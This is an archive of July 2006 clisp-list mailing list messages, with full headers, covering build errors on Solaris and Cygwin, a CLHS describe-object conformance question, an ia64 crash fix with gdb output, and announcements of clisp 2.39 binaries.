FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers X-Mailman-Approved-At: Sun, 23 Jul 2006 17:37:49 -0700 Subject: [clisp-list] correct way to build with SAFETY=3? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 20 Jul 2006 16:42:01 -0000 I tried to build with SAFETY=3 on solaris because of the fact that global registers don't seem to work there by doing this: CPPFLAGS='-DSAFETY=3'; export CPPFLAGS The build proceeds with -DSAFETY=3 in the right places, but the build eventually bombs with this: configure: loading cache ../config.cache configure: error: `CPPFLAGS' has changed since the previous run: configure: former value: -DSAFETY=3 configure: current value: -DSAFETY=3 -I/ms/dist/fsf/PROJ/libsigsegv/2.4/include configure: error: changes in the environment can compromise the build configure: error: run `make distclean' and/or `rm ../config.cache' and start over *** Error code 1 make: Fatal error: Command failed for target `i18n' Any ideas? -russ From lisp-clisp-list@m.gmane.org Thu Jul 20 13:45:47 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3fP1-0006dt-Eu for clisp-list@lists.sourceforge.net; Thu, 20 Jul 2006 13:45:47 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G3fOz-0004yG-HC for clisp-list@lists.sourceforge.net; Thu, 20 Jul 2006 13:45:47 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1G3fOp-00070k-C5 for clisp-list@lists.sourceforge.net; Thu, 20 Jul 2006 22:45:35 +0200 Received: from 84.77.136.2 ([84.77.136.2]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 20 Jul 2006 22:45:35 +0200 Received: from Karsten.Poeck by 84.77.136.2 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 20 Jul 2006 22:45:35 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Karsten Poeck" Date: Thu, 20 Jul 2006 22:45:13 +0200 Lines: 68 Message-ID: References: X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 84.77.136.2 X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2900.2869 X-RFC2646: Format=Flowed; Original X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 Sender: news X-Spam-Score: 2.7 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 1.2 PRIORITY_NO_NAME Message has priority, but no X-Mailer/User-Agent X-Mailman-Approved-At: Sun, 23 Jul 2006 17:37:49 -0700 Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 20 Jul 2006 20:45:47 -0000 Hello, did a build as indicated, make distrib executed Where can I drop the result (clisp-2.39-cygwin-1.5.20.tar.bz2) I don't understand how make cygwin-src should work. How is the file in TAR_SRC generated? I don't see a reference to archive elsewhere Fails with $ make cygwin-src touch clisp-2.39-1.patch echo '#!/bin/sh' > clisp-2.39-1.sh echo './configure --with-dynamic-ffi --srcdir=../src --build build-cygwin' >> c isp-2.39-1.sh echo 'cd build-cygwin' >> clisp-2.39-1.sh echo 'make distrib' >> clisp-2.39-1.sh ln -s "../../archives/2.39/clisp-2.39.tar.bz2" . tar cvfjh clisp-2.39-1-src.tar.bz2 clisp-2.39-1.sh clisp-2.39-1.patch setup.hin cygwin.README clisp-2.39.tar.bz2 clisp-2.39-1.sh clisp-2.39-1.patch setup.hint cygwin.README tar: clisp-2.39.tar.bz2: No se puede stat: No such file or directory tar: Salida con error demorada desde errores anteriores make: *** [cygwin-src] Error 2 "Sam Steingold" wrote in message news:alpsg4tc7v.fsf@quant8.janestcapital.quant... >> * Karsten Poeck [2006-07-14 21:18:07 +0200]: >> >> "Sam Steingold" wrote in message >> news:al3bd77y2l.fsf@quant8.janestcapital.quant... >>>I no longer have access to a woe32 system, >>> so we need a volunteer to build clisp binary distributions >>> for woe32 and cygwin for the forthcoming clisp 2.39. >>> >> Hello, >> I can build for cygwin, will try current cvs now. > > thanks. could you please take over the cygwin package maintenance? > building cygwin package should be as easy as > make cygwin-src distrib > but the cygwin people change the rules every now and then and you will > need to follow them... > > please build from sources at > http://prdownloads.sourceforge.net/clisp/clisp-2.39.tar.bz2?download > > -- > Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 > (Bordeaux) > http://thereligionofpeace.com http://openvotingconsortium.org > http://pmw.org.il http://honestreporting.com http://dhimmi.com > If you want it done right, you have to do it yourself > > > ------------------------------------------------------------------------- > Using Tomcat but need to do more? Need to support web services, security? > Get stuff done quickly with pre-integrated technology to make your job > easier > Download IBM WebSphere Application Server v.1.0.1 based on Apache Geronimo > http://sel.as-us.falkag.net/sel?cmd=lnk&kid=120709&bid=263057&dat=121642 From sds@podval.org Sun Jul 23 17:41:32 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G4oVo-0002z0-GB for clisp-list@lists.sourceforge.net; Sun, 23 Jul 2006 17:41:32 -0700 Received: from mta7.srv.hcvlny.cv.net ([167.206.4.202]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G4oVm-0007vW-1r for clisp-list@lists.sourceforge.net; Sun, 23 Jul 2006 17:41:32 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta7.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J2V00DH4TWZ3Y10@mta7.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 23 Jul 2006 20:41:23 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 08B5A21E08E; Sun, 23 Jul 2006 20:41:23 -0400 (EDT) Date: Sun, 23 Jul 2006 20:41:22 -0400 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, Karsten Poeck Mail-followup-to: clisp-list@lists.sourceforge.net, Karsten Poeck Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Jul 2006 00:41:32 -0000 > * Karsten Poeck [2006-07-20 22:45:13 +0200]: > > Where can I drop the result (clisp-2.39-cygwin-1.5.20.tar.bz2) you talk to the cygwin people, assume the maintainership of the clisp cygwin package and follow the cygwin instructions. > I don't understand how make cygwin-src should work. How is the file in > TAR_SRC generated? you download it from the SF files section. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://iris.org.il http://honestreporting.com http://palestinefacts.org http://truepeace.org http://openvotingconsortium.org http://jihadwatch.org There are many reasons not to use Lisp - but no good ones. From zellerin@gmail.com Mon Jul 24 06:00:09 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G502b-0006Nh-9M for clisp-list@lists.sourceforge.net; Mon, 24 Jul 2006 06:00:09 -0700 Received: from nf-out-0910.google.com ([64.233.182.185]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G502a-0007I0-Rn for clisp-list@lists.sourceforge.net; Mon, 24 Jul 2006 06:00:09 -0700 Received: by nf-out-0910.google.com with SMTP id m19so1389088nfc for ; Mon, 24 Jul 2006 06:00:03 -0700 (PDT) Received: by 10.78.139.5 with SMTP id m5mr1483367hud; Mon, 24 Jul 2006 06:00:03 -0700 (PDT) Received: by 10.78.118.3 with HTTP; Mon, 24 Jul 2006 06:00:03 -0700 (PDT) Message-ID: Date: Mon, 24 Jul 2006 15:00:03 +0200 From: "Tomas Zellerin" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] does describe/describe-object conform to clhs? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Jul 2006 13:00:09 -0000 Hello, I am not sure whether this is sctrictly speaking a clhs non-conformance or not: The clisp describe code appears to add text "foo is" to the description on its own, before calling describe-object. This makes example in description of describe-object (http://www.lispworks.com/documentation/HyperSpec/Body/f_desc_1.htm) in CLHS produce undesired output - the text "# is" is produced twice. The clhs says on describe "The actual act of describing the object is implemented by describe-object. describe exists as an interface primarily to manage argument defaulting (including conversion of arguments t and nil into stream objects) and to inhibit any return values from describe-object.", but it does not explicitly prohibit describe to do more. Is there a reason for this behaviour? It makes writing good-looking portable descriptions of objects more complicated. Regards, Tomas From sds@podval.org Mon Jul 24 06:49:16 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G50o8-0002Ax-Cs for clisp-list@lists.sourceforge.net; Mon, 24 Jul 2006 06:49:16 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G50o2-0002lg-Qs for clisp-list@lists.sourceforge.net; Mon, 24 Jul 2006 06:49:13 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AFCD1B4500C2; Mon, 24 Jul 2006 09:49:01 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 16789369FFC; Mon, 24 Jul 2006 09:49:01 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6ODn0Ee001410; Mon, 24 Jul 2006 09:49:00 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6ODn0Y6001409; Mon, 24 Jul 2006 09:49:00 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "Tomas Zellerin" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Mon, 24 Jul 2006 15:00:03 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Tomas Zellerin" Date: Mon, 24 Jul 2006 09:49:00 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] does describe/describe-object conform to clhs? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Jul 2006 13:49:16 -0000 > * Tomas Zellerin [2006-07-24 15:00:03 +0200]: > > Is there a reason for this behaviour? since describe output always starts with "~S is ", it makes sense to do that at the highest level. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://dhimmi.com http://honestreporting.com http://memri.org http://pmw.org.il http://mideasttruth.com http://truepeace.org http://iris.org.il http://ffii.org He who laughs last did not get the joke. From zellerin@gmail.com Mon Jul 24 07:35:41 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G51X3-0006RQ-Fy for clisp-list@lists.sourceforge.net; Mon, 24 Jul 2006 07:35:41 -0700 Received: from nf-out-0910.google.com ([64.233.182.185]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G51X3-0003vC-3j for clisp-list@lists.sourceforge.net; Mon, 24 Jul 2006 07:35:41 -0700 Received: by nf-out-0910.google.com with SMTP id m19so1417883nfc for ; Mon, 24 Jul 2006 07:35:31 -0700 (PDT) Received: by 10.78.151.15 with SMTP id y15mr1562942hud; Mon, 24 Jul 2006 07:35:31 -0700 (PDT) Received: by 10.78.118.3 with HTTP; Mon, 24 Jul 2006 07:35:30 -0700 (PDT) Message-ID: Date: Mon, 24 Jul 2006 16:35:30 +0200 From: "Tomas Zellerin" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] does describe/describe-object conform to clhs? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Jul 2006 14:35:41 -0000 On 7/24/06, Sam Steingold wrote: > > * Tomas Zellerin [2006-07-24 15:00:03 +0200]: > > > > Is there a reason for this behaviour? > > since describe output always starts with "~S is ", it makes sense to do > that at the highest level. This is certainly true for objects described by the implementation. However, the describe-object is also meant as hook for users: "Users can write methods for describe-object for their own classes if they do not wish to inherit an implementation-supplied method." and here the details of the API do matter. Other implementation seem to do as hinted in CLHS. I can live easily with it as it is now; I was just curious whether to #-clisp the "~S is" string in describe-object or to expect change. Regards, Tomas From werner@suse.de Tue Jul 25 09:26:20 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G5Pjg-0005UN-DB for clisp-list@lists.sourceforge.net; Tue, 25 Jul 2006 09:26:20 -0700 Received: from cantor2.suse.de ([195.135.220.15] helo=mx2.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G5Pje-00070l-JI for clisp-list@lists.sourceforge.net; Tue, 25 Jul 2006 09:26:20 -0700 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx2.suse.de (Postfix) with ESMTP id CA5111F8F6 for ; Tue, 25 Jul 2006 18:26:11 +0200 (CEST) Date: Tue, 25 Jul 2006 18:26:11 +0200 From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20060725162611.GA29646@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20060719155623.GA23184@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> <20060721132715.GA6346@wotan.suse.de> <20060721135724.GA11648@wotan.suse.de> <20060721143205.GA10812@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.9i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Fix for bug 1506857 (Was: Any news about bug 1506857 (clisp w/ gcc-4.1 on ia64)) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Jul 2006 16:26:20 -0000 On Fri, Jul 21, 2006 at 10:42:57AM -0400, Sam Steingold wrote: > > * Dr. Werner Fink [2006-07-21 16:32:05 +0200]: > > > > On Fri, Jul 21, 2006 at 10:09:37AM -0400, Sam Steingold wrote: > >> > * Dr. Werner Fink [2006-07-21 15:57:24 +0200]: > >> > > >> >> >> > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer > >> >> >> > gcc does not help (without this patch the minitests check fails). > >> >> >> > >> >> >> what's that patch? > >> >> > > >> >> > Let's see: > >> >> > >> >> who wrote it? > >> > > >> > One of our gcc maintainers togetheer with our > >> > ia64 architecture maintainer had done this. > >> > >> got names? > > > > e.g. Andreas Schwab > > Andreas Jaeger > > thanks. > > now, what is the URL for the patch? I've done some bug hunting and now I can provide a real fix for the crash caused by the appended images on lisp executables. The fix is really simply and I'm wondering that ia64 seems to be the only architecture which shows up this crash. Maybe the magic header isn't that magic on ia64. For the patch see http://www.suse.de/~werner/clisp-2.39-dump.dif.bz2 but note you have to wait upto 2 hours as the data has received the WWW server within the DMZ between the two firewalls. During hunting the bug I've seen some random crash within the test suite on this piece of code (stringp (with-output-to-string (s) (describe nil s))) T found in tests/streams.tst. Such a crash looks like (STRINGP (WITH-OUTPUT-TO-STRING (S) (DESCRIBE NIL S))) ;; connecting to "http://clisp.cons.org/impnotes/id-href.map"...connected...HTTP/1.1 200 OK...64,752 bytes ;; SYSTEM::GET-STRING-MAP(#)...gmake[1]: *** [tests] Segmentation fault gmake[1]: Leaving directory `/usr/src/packages/BUILD/clisp-2.39/ia64-suse-linux/tests' I was not able to reproduce the crash within gdb nor on command line but have a core dump which leads me to the following: GNU gdb 6.5 Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "ia64-suse-linux"...Using host libthread_db library "/lib/libthread_db.so.1". [...] Core was generated by `../lisp.run -E UTF-8 -norc -B ../ -N ../locale -M ../lispinit.mem -m 30000KW -i'. Program terminated with signal 11, Segmentation fault. #0 0x40000000000fe200 in rd_ch_buffered (stream_=) at stream.d:6452 6452 Encoding_mbstowcs(encoding) (gdb) list rd_ch_buffered 6433 6434 # Input side 6435 # ---------- 6436 6437 # READ-CHAR - Pseudo-Function for File-Streams of Characters 6438 local object rd_ch_buffered (const gcv_object_t* stream_) { 6439 var object stream = *stream_; 6440 var uintB* bufferptr = buffered_nextbyte(stream,persev_partial); 6441 if (bufferptr == (uintB*)NULL) # EOF ? 6442 return eof_value; (gdb) print bufferptr $1 = (uintB *) 0x130000000b60f0
(gdb) list 6452 6447 { # Does the buffer contain a complete character? 6448 var uintL endvalid = BufferedStream_endvalid(stream); 6449 var uintL available = endvalid - BufferedStream_index(stream); 6450 var const uintB* bptr = bufferptr; 6451 var chart* cptr = &c; 6452 Encoding_mbstowcs(encoding) 6453 (encoding,stream,&bptr,bufferptr+available,&cptr,&c+1); 6454 if (cptr == &c+1) { 6455 var uintL n = bptr-bufferptr; 6456 # increment index and position (gdb) print bptr $2 = (const uintB *) 0x130000000b60f0
(gdb) print cptr $3 = (chart *) 0x607ffffffe992420 (gdb) Here you can also see that the stack address range is not that constant on ia64 (kernel 2.6.16) it may vary between the two values 0x607FFFFFFF000000 and 0x607FFFFFFE000000. Older kernels uses a different value which makes the clisp images depending on the kernel version and on some architectures even on the runtime setup. Now at least the patch you have requested. I've applied the 40 lines of the patch send in the last mail to ffcall/avcall/avcall.h.in and ffcall/callback/vacall_r/vacall_r.h.in and rerun the compiler as described ffcall/avcall/avcall-ia64.c to create a new ffcall/avcall/avcall-ia64.s with gcc 4.1. For the patch see http://www.suse.de/~werner/clisp-2.39-ia64.dif.bz2 but note you have to wait upto 2 hours as the data has received the WWW server within the DMZ between the two firewalls. Please drop a note if you have catched the two patches because I'd like to remove the two patches as fast as possible. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@podval.org Thu Jul 27 16:08:36 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G6Ey4-0006DY-9W for clisp-list@lists.sourceforge.net; Thu, 27 Jul 2006 16:08:36 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G66NE-00081m-Lf for clisp-list@lists.sourceforge.net; Thu, 27 Jul 2006 06:58:03 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A662147100BA; Thu, 27 Jul 2006 09:57:54 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id AC75A36A5BE for ; Thu, 27 Jul 2006 09:57:53 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.7/8.13.5) with ESMTP id k6RDvrgs007231 for ; Thu, 27 Jul 2006 09:57:53 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.7/8.13.7/Submit) id k6RDvrHu007230; Thu, 27 Jul 2006 09:57:53 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Date: Thu, 27 Jul 2006 09:57:53 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] cisp 2.39: binaries for FreeBSD and Darwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Jul 2006 23:08:37 -0000 Please find 2.39 binaries for FreeBSD and Darwin (from Pascal Costanza) in the "files" section of the clisp sf site: http://sourceforge.net/project/showfiles.php?group_id=1355&package_id=1340 -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://ffii.org http://pmw.org.il http://honestreporting.com http://iris.org.il http://palestinefacts.org http://openvotingconsortium.org Whether pronounced "leenooks" or "line-uks", it's better than Windows. From sds@podval.org Thu Jul 27 23:39:45 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G6M0a-0002mE-8v for clisp-list@lists.sourceforge.net; Thu, 27 Jul 2006 23:39:41 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G66G9-00020C-2m for clisp-list@lists.sourceforge.net; Thu, 27 Jul 2006 06:50:44 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A4A9143400BA; Thu, 27 Jul 2006 09:50:33 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 5F07936A5C1; Thu, 27 Jul 2006 09:50:32 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.7/8.13.5) with ESMTP id k6RDoVLZ007184; Thu, 27 Jul 2006 09:50:32 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.7/8.13.7/Submit) id k6RDoVBJ007183; Thu, 27 Jul 2006 09:50:31 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, Kelly Jeglum Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <292B2D5F863ED611BB8B00080210895504BCB666@aux.uwm.edu> (Kelly Jeglum's message of "Wed, 19 Jul 2006 15:51:40 -0500") References: <292B2D5F863ED611BB8B00080210895504BCB666@aux.uwm.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, Kelly Jeglum Date: Thu, 27 Jul 2006 09:50:31 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] any cygwin users here? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Jul 2006 06:39:46 -0000 so, who volunteers to maintain the clisp cygwin package? > * Kelly Jeglum [2006-07-19 15:51:40 -0500]: > > I'm also a Cygwin user - an extreme novice though. > Learning a lot about building clisp on cygwin by the emails sent back and > forth. > > Kelly Jeglum > > -----Original Message----- > From: Steven E. Harris [mailto:seh@panix.com]=20 > Sent: Wednesday, July 19, 2006 2:37 PM > To: clisp-list@lists.sourceforge.net > Subject: Re: [clisp-list] any cygwin users here? > > Sam Steingold writes: > >> I cannot send this message to a cygwin list, it is rejected as spam. >> after 9 attempts, I gave up. > > I've had the same problem with that list a couple of years ago, and saw > another person suffering similarly last week.=C2=B9 The list managers are > unforgivable self-righteous on these matters. > > But yes, you do have a Cygwin-related audience here. > > > Footnotes:=20 > =C2=B9 http://thread.gmane.org/gmane.os.cygwin/79786 --=20 Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordea= ux) http://jihadwatch.org http://thereligionofpeace.com http://camera.org http://memri.org http://ffii.org http://dhimmi.com http://palestinefacts.org The paperless office will become a reality soon after the paperless toilet. From werner@suse.de Fri Jul 28 14:31:31 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G6Zvb-0003r5-Eg for clisp-list@lists.sourceforge.net; Fri, 28 Jul 2006 14:31:27 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1G6HZn-0008Bq-EC for clisp-list@lists.sourceforge.net; Thu, 27 Jul 2006 18:55:43 -0700 Received: from mail.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G5go1-0003Jj-L5 for clisp-list@lists.sourceforge.net; Wed, 26 Jul 2006 03:39:58 -0700 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id D551CEDFA for ; Wed, 26 Jul 2006 12:39:53 +0200 (CEST) Date: Wed, 26 Jul 2006 12:39:53 +0200 From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20060726103953.GD13474@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20060721101329.GA15997@wotan.suse.de> <20060721132715.GA6346@wotan.suse.de> <20060721135724.GA11648@wotan.suse.de> <20060721143205.GA10812@wotan.suse.de> <20060725162611.GA29646@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.9i X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to 